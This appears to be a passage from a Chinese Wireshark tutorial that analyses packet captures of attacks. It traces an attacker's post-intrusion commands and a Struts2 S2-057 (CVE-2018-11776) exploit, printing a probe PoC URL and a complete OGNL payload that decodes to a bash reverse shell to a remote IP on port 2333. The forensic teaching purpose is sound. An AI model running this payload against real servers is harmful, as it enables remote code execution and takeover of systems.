忘川彼岸|wireshark使用及实列分析( 三 )


忘川彼岸|wireshark使用及实列分析依次往后面查看 , 发现攻击者执行了 , whoami,ipconfig /all , net user /domain , dir等命令 。 并且受害者返回执行结果
忘川彼岸|wireshark使用及实列分析鼠标右键点击--->选择as printable text , 将数据包提取出来 , 复制到sublime中可以更清晰的查看
忘川彼岸|wireshark使用及实列分析3.3 Struts2 S2-057 Remote Code Execution Vulnerablity(CVE-2018-11776)
struts s2-057主要通过GET请求发起攻击 , 只查看GET请求的数据
http.request.method=="GET"
忘川彼岸|wireshark使用及实列分析3.3.1 poc验证漏洞
攻击者先采用poc:
/$%7B(111+111)%7D/actionChain1.action
探测是否存在struts s2-057漏洞 , 跟踪http流查看漏洞是否存在
忘川彼岸|wireshark使用及实列分析表达式执行成功 , 说明该漏洞存在 , 接下来查看攻击者利用该漏洞做了什么
3.3.2 查看攻击者利用漏洞做了什么
查看最后一个http流 , 发现存在bash字样 , 跟踪http流查看
忘川彼岸|wireshark使用及实列分析payload url解码:
/struts2-showcase/${(# dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(# ct=# request['struts.valueStack'].context).(# cr=# ct['com.opensymphony.xwork2.ActionContext.container']).(# ou=# cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(# ou.getExcludedPackageNames.clear).(# ou.getExcludedClasses.clear).(# ct.setMemberAccess(# dm)).(# a=@java.lang.Runtime@getRuntime.exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi4xNC4xOTAuOTMvMjMzMyAwPiYxCg==}|{base64,-d}|{bash,-i}')).(@org.apache.commons.io.IOUtils@toString(# a.getInputStream))}/actionChain1.action
发现攻击者在尝试反弹shell
paylaod中的base64字符串解码得到:
bash -i >&/dev/tcp/106.190.x.x/2333 0>&1
说明攻击者想将shell反弹到106.190.x.x的2333端口
3.3.3 查看攻击者是否拿到shell , 并执行了那些操作
已经确定反弹shell的vps , 那么直接查看与该ip的数据流
ip.addr==106.190.x.x
忘川彼岸|wireshark使用及实列分析发现数据中存在服务器名 , 跟踪tcp流 , 发现攻击者执行了ls命令 , 并且执行成功 。
忘川彼岸|wireshark使用及实列分析No.4 参考链接
【忘川彼岸|wireshark使用及实列分析】
忘川彼岸|wireshark使用及实列分析


推荐阅读